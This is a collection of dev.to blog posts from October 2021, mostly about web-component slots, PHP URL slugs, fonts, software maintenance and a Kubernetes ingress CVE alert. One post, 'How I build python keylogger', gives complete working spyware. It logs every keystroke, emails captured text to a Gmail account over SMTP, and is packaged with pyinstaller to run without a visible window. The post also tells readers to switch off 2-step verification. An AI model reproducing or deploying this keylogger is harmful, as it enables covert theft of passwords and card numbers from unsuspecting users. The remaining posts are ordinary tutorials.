teleren/devto huggingface dataset:
Slot Composition 
Tags: webdev
Published: 2021-10-25 00:49:42

#Project Updates:
Recently I have been working on a project that contains card components like headers, sub-headers, body and more. The image below is the format I am following to design my card's components:
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zetayi8e29arhozvs5g8.png) 

#What is "Slot Composition"?
So what really is a slot component...? Well, in simpler words, a slot composition is when a user passes code through multiple elements. This can be a header, body, icon, etc. It is anything that goes into the content of the card and then can be scaffolded together. 
`<Slot>` is an HTML element that works as a placeholder for inside a web component that you had created. Within the component, `<Slot>` enables you to fill that component with your own markups. 

#Applying `<slot>` Components
There are various different ways to apply slot composition into your web components. It may sounds tricky but it is very simple concept, for example: 
```<slot name = "Header"><p>None</p></slot>```
This line of code names your elements that are being basses through your header consisted within your Header. This is also an example of a "named slot" because it gives an attributed name for the element. 

To keep our project design as simple as possible, I will use the `<slot>` attributes to pass any of our HTML into our header, sub header and body. To pass the HTML into our slots, we have must name our attributes by saying `slot = body` or `slot = header` to pass the code through to our main card. 
A good example of how to use the <slot> tag in your code is shown below: 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/syyj6nlk6a5e4zo8hqo8.png)

Overall slot tags are really useful when creating web components. If you want to follow up on my current project it is posted on my [Github](https://github.com/haileyhahnnnn/project-two)
How I build python keylogger
Tags: python, spyware, beginners, programming
Published: 2021-10-25 00:28:44

**A** *keylogger* is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard. In this tutorial, you will learn how to write a *keylogger* in Python.

You are maybe wondering, why a *keylogger* is useful ? Well, when a hacker uses this for unethical purposes, he/she will gather information of everything you type in the keyboard including your credentials (credit card numbers, passwords, etc.).

## First, we gonna need to install a module called pynput, go to the terminal or the command prompt and write:

> `pip3 install pynput`

This module allows you to take full control of your keyboard, hook global events, register hotkeys, simulate key presses and much more.

## Let us start by import the necessary modules:

```
  import logging #for logging to a file
  import smtplib #for sending email using SMTP protocol (gmail)

  from pynput.keyboard import Key, Listener #for keylogs
  from random import randint #for generating random file name
```
If you are to report key logs via email, then you should set up a Gmail account and make sure that:

1. Less secure app access is ON.
2. 2-Step Verification is OFF.

## Generate the logging file:

```
output = '3ke' + str(randint(0, 10000)) + '.txt'

log_dir = ""

logging.basicConfig(filename=(log_dir + output), level=logging.DEBUG, format='%(asctime)s: %(message)s')
 
```
## Setup email that receives the keystrokes

```
email = 'your@gmail.com'
password = 'password'
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)

full_log = ""
word = ""
email_char_limit = 60 #set how many charcters to store before sending 
 
```

## The code that append the key that is press and save :

```
def on_press(key, false=None):
    global word
    global full_log
    global email
    global email_char_limit
    logging.info(str(key))

    if key == Key.space or key == Key.enter:
        word += ' '
        full_log += word
        word = ''
        if len(full_log) >= email_char_limit:
            send_log()
            full_log = ''
    elif key == Key.shift_l or key == Key.shift_r:
        return
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char = f'{key}'
        char = char[1:-1]
        word += char

    if key == Key.esc:
        return false 
```
## The code that sends the append keys that is press :

```
def send_log():
    server.sendmail(
        email,
        email,
        full_log
    )

with Listener(on_press=on_press) as listener:
    listener.join()
```   

To convert it to executable file using pyinstaller:
## First install **PYINSTALLER**

> pip install pyinstaller

Then navigate to the project directory of the main py file with cmd and run this code 

> pyinstaller --onefile -w 'fileName.py' #-w for no console

## My first coding using python
How to Setup Xcode 13 Server for macOS Development
Tags: macos, xcode, devops, tutorial
Published: 2021-10-25 00:39:52

Testing applications is very important to ensure that existing functionalities keep on running while you add new ones. It’s like how brakes in a car enables it to run faster. On the flip side, executing tests can be a chore. Unless of course you have proper automations in place.

![Xcode Continuous Integration](https://cutecoder.org/wp-content/uploads/2021/08/xcode-13-bot@2x.jpg)

[Follow this link](https://tinyurl.com/ydwwmowf) to find out how to setup Xcode Server to continuously run automated tests on macOS applications—both unit tests and user interface tests. Let the bots do the mundane work while developers do what they do best: create new features.
Make Title Path for Detail Pages
Tags: tutorial, webdev, programming, php
Published: 2021-10-25 00:33:47

I have some data arrays, and I want to process it into a special url path for `name` or` title`. The array data is like the following.

### Example Array
```php
array (
  0 => 
  array (
    'name' => 'Alryntop', 
    'gender' => 'Laki-Laki',
    'age' => '20',
    'city' => 'Jakarta', 
  ),
  1 => 
  array (
    'name' => 'Andre Tau Aja', 
    'gender' => 'Laki-Laki',
    'age' => '33',
    'city' => 'Jakarta', 
  ),
);
```

### Function
So I only process it using the PHP as follows; Where my spaces change to `-` and words become lowercase.

Script:
```php
function getArrWithPath(array $arr, $position = '')
{
  foreach ($arr as $key => $item) {
    if($position == ''){
      $target = $item;
    }else{
      $target = $item[$position];
    }
    $target = strtolower($target);
    $target = str_replace(' ', '-', $target);
    $target = preg_replace('/[^A-Za-z0-9\-]/', '', $target);
    $arr[$key][$position.'_path'] = $target;
  }
   return $arr;
}
```
Result: 
```php
array (
  0 => 
  array (
    'name' => 'Alryntop', 
    'gender' => 'Laki-Laki',
    'age' => '20',
    'city' => 'Jakarta', 
    'name_path' => 'alryntop', 
  ),
  1 => 
  array (
    'name' => 'Andre Tau Aja', 
    'gender' => 'Laki-Laki',
    'age' => '30',
    'city' => 'Jakarta', 
    'name_path' => 'andre-tau-aja', 
  ),
);
```
With this result I can process the more specific detail page leads to the data in choice. Or the reader has better suggestions, discussing bellow please!
<Slot> in LitElement
Published: 2021-10-25 00:31:47

When designing new web components, the goal is to keep them as abstract as possible so that they can be used over and over again.  If web components are made specifically for a given project and need something similar for another, you'll just be coping the same exact code over and over again.  That would violate the DRY coding principal or simply put "Don't Repeat Yourself".
 
In a previous post, I talked about how I am developing a card like the one below.  One of the assignment criteria is to have 4 components: the entire card itself, a scaffold of the card, the icon, and banner.  To keep the card dynamic, all text fields and the icon can be set thanks to slots and I will show you how we have done that thus far.
 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9blsybkbunrfobcjq3ck.png)
 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/heu5ubplqxfp7jxo8u9c.png)
 
 
Lets start with the inner most component the Learning-Icon.  This is a relatively simple component as it will display a different a SVG based on the type attribute passed into it.
 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yvrrfl0og46x44352o8t.png)
 
 
The Learning-Icon is then used within the Learning-Banner but say that I later create an Icon called Quiz-Icon.  If I hardcoded in the Learning-Icon the banner will be tied to just the learning card.  To add this flexibility I made use of the <slot> tag and named it "icon".  Same thing applies to the headings, to keep the styling and content of them open to the user I also used slots and gave them names.  You do not need to name your slots, if you don't, it will fill slots in the order you pass them in.  However it just takes an extra attribute just to ensure that slots and their values are paired correctly; so why not do it.
 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/80lvqm5x1t0lgaosvvye.png)
 
 
As mentioned above say I want to have a Math-Card or a Computer-Card, they are both basically the same.  They both will have a header of some kind, and some sort of content, thus we will create a template with some base styling and framework.  I called this Learning-Scaffold as we plan to this card used in a learning context.  This card has two named slots, one for the banner and the other for the content.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fxrvklkxjoghmnxxn9v4.png)
 
 
Now bringing it all together we define a Learning-Card which implements a Learning-Scaffold.  From here I define all of these components and all of their slots.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wurm67xuwshwrv99hv1u.png)
Using slot with custom web componnents.
Tags: javascript, webdev, programming, html
Published: 2021-10-25 00:31:15

when creating custom web components the slot tag can be very useful. The slot tag allows you to pass html content into the shadowroot of your custom element.

### When would you use the slot tag?
- An example of when I have had to use the slot tag was when I was coding my custom web component learning card.
-The card had a body section that needed to have support for any html content.



## slime-card:
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ky3n80l44sqpspkciqtj.gif)



### How to use slot.
- If you have a blank slot any content will be passed from inside the custom element into the blank slot.
- If you have a named slot you need to pass the slot attribute with the correct name into the html content.



### examples below:




# index.html
````

<custom-web-component>

<span>This will be put into the blank slot</span>

</custom-web-component>


<custom-web-component>

<span slot="s1">This will be put into s1 slot!</span>

</custom-web-component>

```


# custom-web-component.js
````
render(){ return hml`
<div id="custom-web-component">
<slot></slot>
<slot name="s1"></slot>
</div>`;
}
```

In the slot tag allows you to pass html content into a custom web component. It also makes it really easy to pass content from the top level of a web component down to the bottom level. This makes alot of sense when you break down a custom web component into smaller sub components.

### For example
- The learning card was broken down into icon, header, body , and card as a whole
- When using the card as a whole, info can be passed from the slot of the card as a whole into the slot for the body component. This allows custom web components to be very flexible.
𝑵𝒆𝒘 𝑲𝒖𝒃𝒆𝒓𝒏𝒆𝒕𝒆𝒔 𝒉𝒊𝒈𝒉 𝒔𝒆𝒗𝒆𝒓𝒊𝒕𝒚 𝒗𝒖𝒍𝒏𝒆𝒓𝒂𝒃𝒊𝒍𝒊𝒕𝒚 𝒂𝒍𝒆𝒓𝒕: 𝑪𝑽𝑬-2021-25742 about Nginx Ingress controller custom snippets
Tags: kubernetes, security, nginx, ingress
Published: 2021-10-25 00:05:45

Thanks a lot to Mitch Hulscher reported the 𝑵𝒆𝒘 𝑲𝒖𝒃𝒆𝒓𝒏𝒆𝒕𝒆𝒔 𝒉𝒊𝒈𝒉 𝒔𝒆𝒗𝒆𝒓𝒊𝒕𝒚 𝒗𝒖𝒍𝒏𝒆𝒓𝒂𝒃𝒊𝒍𝒊𝒕𝒚 𝒂𝒍𝒆𝒓𝒕: 𝑪𝑽𝑬-2021-25742 ! A great write-up by Shauli Rozen #ARMO #kubescape team and added it in their kubescape scans/checks in no time !

Suggest to use kubescape to check immediately, then apply mitigation "𝑺𝒆𝒕 𝒂𝒍𝒍𝒐𝒘-𝒔𝒏𝒊𝒑𝒑𝒆𝒕-𝒂𝒏𝒏𝒐𝒕𝒂𝒕𝒊𝒐𝒏𝒔 𝒕𝒐 𝒇𝒂𝒍𝒔𝒆 in your ingress-nginx ConfigMap" if  version (>= v0.49.1 or >= v1.0.1)!

1. great write up by Shauli Rozen #ARMO #kubescape team - https://lnkd.in/gBetcc92 - easy to check now with kubescape !

2. CVE - https://lnkd.in/gGUN7wW9
"CVE-2021-25742: Ingress-nginx custom snippets 𝒂𝒍𝒍𝒐𝒘𝒔 𝒓𝒆𝒕𝒓𝒊𝒆𝒗𝒂𝒍 𝒐𝒇 𝒊𝒏𝒈𝒓𝒆𝒔𝒔-𝒏𝒈𝒊𝒏𝒙 𝒔𝒆𝒓𝒗𝒊𝒄𝒆𝒂𝒄𝒄𝒐𝒖𝒏𝒕 𝒕𝒐𝒌𝒆𝒏 𝒂𝒏𝒅 𝒔𝒆𝒄𝒓𝒆𝒕𝒔 𝒂𝒄𝒓𝒐𝒔𝒔 *𝒂𝒍𝒍* 𝒏𝒂𝒎𝒆𝒔𝒑𝒂𝒄𝒆𝒔 #7837"

3. Does it impact #nginx ingress OSS and Enterprise versions ? asked below - https://lnkd.in/gNUTzwzV - no answer yet but  𝑰 𝒔𝒖𝒔𝒑𝒆𝒄𝒕 𝒀𝑬𝑺 ? because nginx ingress docs allows snippet too at https://lnkd.in/gMBQDZVV - hope some experts can confirm soon because OSS nginx ingress is also widely used !

4. Policy checks - thanks to #kyverno team, e.g. Jim Bugwadia has a good check rule at https://lnkd.in/gtUy-UNu ! Another good reason to use Policy in k8s to safeguard any CVEs.
Same for #openpolicyagent if you use OPA.

5. there are *3* diff. k8s ingress controllers - see my post at
https://lnkd.in/gC5Pcnv8 so make sure you use the correct image names in your checks, e.g. OPA rego, Kyverno rules, e.g. see more at https://lnkd.in/gGUN7wW9

6. do not use Snippets as said below - https://lnkd.in/gMBQDZVV
"Security implications. Snippets give access to NGINX configuration primitives and those primitives are not validated by the Ingress Controller. For example, a snippet can configure NGINX to serve the TLS certificates and keys used for TLS termination for Ingress resources.
"

[My original post at https://www.linkedin.com/posts/walterwlee_new-kubernetes-high-severity-vulnerability-activity-6857718713915994112-vSyN]
Let's Talk About Fonts
Published: 2021-10-25 00:01:19

Maybe you've thought about fonts a lot or maybe you haven't at all, but if you're reading this chances are you've had to implement them in a project or will in the future, so allow me to share my font wisdom with you.

In my class, my group and I have been working on creating a web component "learning card" which is broken up into separate elements including the overall scaffolding of the card and a banner element comprised of a header, subheader, and icon as shown below.
![card example](https://res.cloudinary.com/practicaldev/image/fetch/s--Vlqr-Sup--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8199pfmruf4qt1t1d2m4.png)

Fonts can often make or break a reader's ability to understand the material so having a consistent one is important. For our lit element project, we found it was best to import a font from Google Fonts as it is hosted separately from our server simplifying the cross-browser support process. We did this by taking the link provided on Google Fonts and linking it in our `index.html` as shown below.
![Code example of link import](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7t5rsr53834ffm2uz4ce.png)
Then, within the body we styled it like any other element.
![Code example of body](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/scbywobe96jhs4g1iy0d.png)
Swap allows you to set a back up font option in the event that your chosen font does not load. This is important so that the element can still render by swapping the chosen font for the fall-back font.

For the Stack Overflow post I followed, click [here](https://stackoverflow.com/questions/57489637/how-to-load-google-font-in-litelement)
To follow my group's progress, click [here](https://github.com/table-in-the-corner/project-two)
El mantenimiento del sistema.
Published: 2021-10-24 23:59:23

Este artículo fue creado para una tarea de la Universidad Francisco Gavidia.

# Mapa conceptual
![Mapa conceptual del diagrama de sistema](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qzkzb0uejefvs90mn83s.png)

# Respuestas a las preguntas de clase

## ¿Por qué resulta necesario realizar mantenimiento del software? 

- El mantenimiento del software es vital debido a que a medida que los verdaderos usuarios ocupan el software, se encuentran con defectos aun cuando se hace una muy buena inspección del software esto es posible.
- Además por cada cambio que se realiza al producto original es más probable que surjan defectos y se deba realizar mantenimiento.

## ¿Qué le pasa usualmente a un software que no se mantiene?

Si el software no se le realizan mas cambios, con el tiempo puede convertirse en un codigo legacy, ya que las tecnologías van cambiando frecuentemente, y se volvería anticuado, si se le realizan cambios, surgirán una gran cantidad de defectos que forzara hacer mantenimiento.


## ¿Cómo es posible clasificar los tipos de mantenimiento en función de sus objetivos?

En el mapa conceptual se presentan los siguientes tipos basados en la clase:
- Correctivo: Arregla un defecto.
- Adaptivo: Se enfoca en la escalabilidad y los cambios que pueden surgir.
- Perfectivo: Se centra en hacer una funcionalidad mas legible y con mayor rendimiento.
- Preventivo: Previene problemas de seguridad y que se originen mas defectos.


## ¿Qué problemas plantea el mantenimiento?

De que se cree un efecto domino, se degrade la calidad con los nuevos cambios, y que si no se sigue una metodología adecuada se cree codigo legacy.


## ¿Qué necesidades conflictivas aparecen durante el mantenimiento?

Discusiones entre las implementaciones de los desarrolladores para no afectar y que sea escalable el código y además implementar lo que sea necesario y beneficioso para el cliente esto puede llevar a conflictos, pero es necesario que se lleven a cabo y se compartan opiniones y soluciones para obtener el mejor software.


## ¿Qué hay que hacer para que los atributos de calidad del software no se degraden durante el mantenimiento?

Se debe mantener una documentación adecuada tanto interna como externa y se debe poner de acuerdo al equipo de desarrollo con metodologías de cambio.
Slot Patrol
Tags: webdev, javascript, programming, css
Published: 2021-10-24 23:55:31

Web components are great for their flexibility and versatility. One thing that makes that possible is their ability to have slots. An HTML element allows us to create separate DOM trees and code them together into one element. Below you can see how the element contains both an emoji and a message.

![HTML DOM tree](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fkzqolab0jpvpgiowb6w.png)

In an element that I have been recently creating, called the learning-card, that has multiple slots. I have to scaffold a banner (header, sub header, icon), a body, an icon and the overall scaffold into one element. You can see a picture of it below.
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n7l7flditftseoamqvcg.png) 

In the banner render function you can see how the whole banner is defined in a div wrapper. Inside I call the icon and then scaffold in a header wrapper. There are two slots inside that to hold the header and sub header. This is a great example of how slots scaffold inside of a component.

```javascript
render() {
    return html`
      <div class="banner-wrapper">
        <learning-icon type="${this.icon}"></learning-icon>
        <div class="header-wrapper">
          <slot name="header"></slot>
          <slot name="subheader"></slot>
        </div>
      </div>
    `;
  }
```

This project is still growing but check out what I've done: https://github.com/TheKodingKrab/project-two. You can also learn about issues I've encountered in many of my other blogposts.
Voice Enabled Penetration Testing
Tags: ai, django, automation, api
Published: 2021-10-24 23:34:58

One month ago, I was set out to build an AI system for my home like JARVIS AI from Mark Zuckerberg, inspired by Iron Man. I decided to name it Prometheus, because the myth still makes up the lower strata of my psyche;) The AI system also has a chat bot interface that is connected to the system for remote operations. The system also has some features that are in active development and therefore I cannot blog them for now eg, using a drone for perimeter scouting and controlling home devices like bulbs using Prometheus. Credits to [Flying Emu](https://codepen.io/FlyingEmu/full/tclyg) for the Awesome Jarvis UI that I happily copy pasted and reverse engineered a bit to show responses of the user.

## What can Prometheus Do?

Our virtual assistant has the following features-:

a.) Web User Interface
 
   - Support Voice Conversations
   - Voice controlled SMS reminders
   - Voice controlled Google Search
   - Voice controlled web penetration testing and network scanning
   - Voice controlled intrusion detection via an IP camera with SMS alerts of intruders image(can be 
     specified to animals)
   - Voice controlled [MPESA](https://developer.safaricom.co.ke/) business to customer payments(b2c)
   - Voice controlled MPESA customer to business payments(c2b)
   - Voice controlled airtime purchase
   - Symptoms Tracker for medical diagnosis and recommendations.

b.) ChatBot User Interface

  - Support Text Conversations
  - Support automated web penetration testing.
  - Support domain resolving
  - Support [MPESA](https://developer.safaricom.co.ke/) business to business payments(b2b) by 
    simply uploading an image of the till number and the system does a wired transfer automatically.
  - Support MPESA customer to business transactions
  - Get latest news
  - Panic mode that sends current GPS location shared via whatsapp to primary contacts

I am currently in the process of buying smart home devices and a drone to integrate them to Prometheus. One major problem with smart home devices is that they lack common standards to communicate, making integration a challenge.

## What is Prometheus built with?

Prometheus is basically a hub of API's that leverages a number of artificial intelligence techniques, including speech recognition and object detection. It is written in Python's Django REST Framework, Flask microframework and Javascript.

## Sneak Peak Feature: Voice Enabled Penetration Testing

https://www.youtube.com/watch?v=HBpFMN6b8ng

![Screenshot from 2021-10-27 14-55-59.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1635336079142/c50AZ7bXG.png)


## See you in the next article on how to build Prometheus Speech to Text.